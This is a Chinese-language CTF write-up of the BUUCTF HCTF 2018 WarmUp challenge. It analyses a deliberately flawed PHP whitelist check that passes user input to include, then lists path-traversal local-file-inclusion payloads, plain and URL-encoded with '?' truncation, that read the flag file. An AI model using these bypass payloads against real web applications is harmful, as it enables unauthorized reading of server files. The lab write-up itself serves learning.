BUUCTF[HCTF 2018]WarmUp

BUUCTF[HCTF 2018]WarmUp

一进去题目看到：

直接查看页面源代码，看到：[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZAHHvF5K-1650035641957)(https://s2.loli.net/2022/04/15/dw1EaQytsnb5xqI.png)]

由此，我们知道有一个source.php

于是，尝试直接在链接后面加上/source.php,得到源代码：

由此对代码进行分析：

入口在下面的 if 语句中，下面来分析一下代码：

可以看到if里面有三个条件：

1.首先是对于file判空

2.然后是需要判定file为字符串

3.是使用checkFile来检测传入的字符串（checkFile函数的主体在上面的代码中）

然后我们来分析一下上面checkFile的代码：

先介绍一下主要的函数：

• in_array()在数组内匹配指定值
• mb_substr()从字符串内返回指定值（substr()只针对英文字符，如果需要分割中文字符则需要mb_substr()),左闭右开比如mb_substr(0,2)得到0,1位字符
• mb_strpos()返回某字符在数组中首次出现的位置

<?php
  highlight_file(__FILE__);
  class emmm
  {
    public static function checkFile(&$page)
    {
      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  \\建立一个白名单，白名单里只有口号里的俩个对象
      if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
      }

​      if (in_array($page, $whitelist)) {  \\这里是对于传入的page和白名单里的内容进行比较，注意：这里需要这两个完全相同，所以要让这里返回true显然是不现实的。
​        return true;
​      }

​      $_page = mb_substr(
​        $page,
​        0,
​        mb_strpos($page . '?', '?')  \\ 这里是对page进行处理，对于page拼接？的字符串查找出？的出现位置
​      );\\对page进行切片，切片为从0开始到mb_strpos()标记的位置，例如？flie=1235456？asdfg，则处理的结果为page=123456
​      if (in_array($_page, $whitelist)) { \\在处理之后，用处理的结果再次与白名单进行比较，若一致则返回true
​        return true;
​      }

​      $_page = urldecode($page); \\这里是对url进行解码处理，防止利用url编码绕过
​      $_page = mb_substr(  \\再次和之前一样对传入字符串进行处理
​        $_page,
​        0,
​        mb_strpos($_page . '?', '?')
​      );
​      if (in_array($_page, $whitelist)) {
​        return true;
​      }
​      echo "you can't see it";
​      return false;
​    }
  }

  if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
  ) {
    include $_REQUEST['file'];
    exit;
  } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  } 
?>

那么由上面的分析我们可以看到可行的返回true的方法有两种（但是两个基本没啥区别）：

1. 让第二个return true成立
2. 对url进行编码，使第三个return true成立

好，这样就可以通过checkFile的检测，然后在这里我们要考虑我们又如何通过include方法来打开我们的文件，这里考虑使用本地包含，下面科普一点简单的概念：

在基本的LFI攻击中，我们可以使用（../）或简单地（/）从目录中直接读取文件的内容

那么我们就可以一层一层的来查看flag文件

1.方法一（对应上方方法1）

?file=source.php?../ffffllllaaaagggg
?file=source.php?../../ffffllllaaaagggg
?file=source.php?../../../ffffllllaaaagggg
?file=source.php?../../../../ffffllllaaaagggg
?file=source.php?../../../../../ffffllllaaaagggg

2.方法二

?file=source.php%3f/../../../../ffffllllaaaagggg

/…/…/…/ffffllllaaaagggg

2.方法二

```php+HTML
?file=source.php%3f/../../../../ffffllllaaaagggg

终于，在上翻五层之后我们找到了flag: